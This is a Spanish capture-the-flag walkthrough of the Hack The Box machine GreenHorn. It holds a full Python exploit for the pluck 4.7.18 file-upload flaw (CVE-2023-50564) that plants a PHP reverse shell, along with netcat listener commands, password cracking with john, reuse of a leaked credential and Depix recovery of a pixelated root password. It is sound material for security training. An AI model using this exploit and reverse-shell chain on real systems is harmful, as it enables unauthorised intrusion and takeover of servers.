Descripción

GreenHorn es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Hash de una contraseña de un CMS filtrada en un servidor de Gitea
  • Recuperación de una contraseña débil
  • Aplicación web pluck vulnerable que permite la subida arbitraria de archivos que permite una ejecución remota de comandos
  • Contraseña del CMS reutilizada en un usuario de Linux
  • Escalada de privilegios mediante la recuperación de la contraseña del usuario root mediante la despixelización de una imagen pixelada en un archivo PDF

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.242.145.

$ ping -c 3 10.129.242.145
PING 10.129.242.145 (10.129.242.145) 56(84) bytes of data.
64 bytes from 10.129.242.145: icmp_seq=1 ttl=63 time=47.3 ms
64 bytes from 10.129.242.145: icmp_seq=2 ttl=63 time=46.2 ms
64 bytes from 10.129.242.145: icmp_seq=3 ttl=63 time=46.5 ms

--- 10.129.242.145 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.168/46.639/47.263/0.459 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Linux. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.242.145 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.145
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds

Obtenemos tres puertos: 22, 80 y 3000.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.242.145 -sV -sC -p22,80,3000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.242.145
Host is up (0.092s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=8e44c51d11543cef; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=ODbs1c9iRoR2t1AaRgFXsRBaM9w6MTcyMTUwMjIwNTY1NDczMzYwNw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=21a4b9e3660f3e95; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=P3YiyYMbZXIMvYSIMptL5S0rKgc6MTcyMTUwMjIxMDkwOTUwNTEzNA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94%I=7%D=7/20%Time=669C09FA%P=x86_64-pc-linux-gnu%r(Ge
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.52 seconds

Obtenemos un servicio de Secure Shell (SSH), y dos servicios Hypertext Transfer Protocol (HTTP). We are going to move to the HTTP service. Vamos a movernos al servicio HTTP. Observamos que el servicio está hospedando un sitio web, por lo que lo agregamos a nuestro archivo /etc/hosts.

$ echo "10.129.242.145 greenhorn.htb" | sudo tee -a /etc/hosts

La web está utilizando el CMS pluck. En el enlace admin en la barra inferior encontramos la versión del Sistema de Gestión de Contenido (CMS) utilizado, 4.7.18. Por otro lado, en el puerto 3000 encontramos una instancia de Gitea. Tenemos acceso público al código fuente del sitio web. Después de enumerar el repositorio GreenAdmin/GreenHorn, encontramos el archivo /data/settings/pass.php, que contiene el hash de la contraseña del administrador del sitio web, d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163. Si lo crackeamos como un hash SHA512, obtenemos la contraseña, iloveyou1.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1        (?)     
1g 0:00:00:00 DONE 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Explotación

La versión 4.7.18 de pluck es vulnerable a un ataque autenticado de subida de archivos arbitrarios, con identificador CVE-2023-50564, lo que permite ejecutar código arbitrario al subir un archivo ZIP personalizado. Tenemos una prueba de concepto en Exploit-DB pero vamos a modificarla ligeramente para adaptarla a nuestras necesidades. En primer lugar, vamos a comprimir en ZIP nuestro archivo PHP de la terminal inversa.

$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ zip plugin.zip php-reverse-shell.php

Este es el código fuente modificado del script Python.

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "iloveyou1","bogus": "","submit": "Log in"}

file_path = 'plugin.zip'

multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("plugin.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload, proxies={'http': 'http://127.0.0.1:8080'})

if login_response.status_code == 200:
    print("Login account")

    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)

    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)

rce_url="http://greenhorn.htb/data/modules/plugin/php-reverse-shell.php"
rce=requests.get(rce_url)
print(rce.text)

Antes de ejecutar el script, iniciamos el puerto de escucha.

$ nc -nvlp 1234

Lo ejecutamos.

$ python exploit.py

Entonces obtenemos una terminal inversa como el usuario www-data del equipo remoto.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.242.145] 45154
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 21:55:18 up 2 days,  7:03,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Post-Explotación

Como usuarios de consola, encontramos root, git y junior. También encontramos que junior reutiliza la contraseña anterior, iloveyou1, por lo que podemos iniciar sesión.

www-data@greenhorn:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
www-data@greenhorn:/$ su junior
Password: 
junior@greenhorn:/$ id 
uid=1000(junior) gid=1000(junior) groups=1000(junior)

En el directorio de inicio de junior, encontramos un archivo PDF llamado Using OpenVAS.pdf, así que lo descargamos.

junior@greenhorn:/$ ls /home/junior
 user.txt  'Using OpenVAS.pdf'

El archivo PDF contiene instrucciones para ejecutar el escáner de vulnerabilidades OpenVAS y contiene una imagen de contraseña pixelada. Podemos extraer la imagen de contraseña pixelada utilizando, por ejemplo, el lector de PDF Atril de Kali al hacer clic con el botón derecho en la imagen y seleccionar Guardar imagen como.... Actualmente, proyectos de código abierto como Depix nos permiten recuperar texto plano a partir de capturas de pantalla pixeladas proporcionando una imagen de referencia. Vamos a guardar la imagen pixelada como pixel.png, luego vamos a clonar el proyecto, instalar las dependencias y ejecutarla para intentar recuperar la contraseña píxelada.

$ git clone https://github.com/spipm/Depix
$ cd Depix
$ virtualenv depix
$ source depix/bin/activate
$ pip install Pillow
$ python depix.py -p pixel.png -o depixel.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png

Después de algunos intentos, encontramos un archivo de imagen de referencia que coincide con nuestra imagen, images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png. La imagen resultante es depixel.png. Como vemos, la contraseña se ha recuperado parcialmente, sidefromsidetheothersidesidefromsidetheotherside. Podemos iniciar sesión en el servidor utilizando SSH.

$ ssh root@greenhorn.htb
root@greenhorn.htb's password: 
...
root@greenhorn:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

Desde la consola de root es posible recolectar las flags the usuario y de root.

root@greenhorn:~# cat /home/junior/user.txt
<REDACTED>
root@greenhorn:~# cat /root/root.txt 
<REDACTED>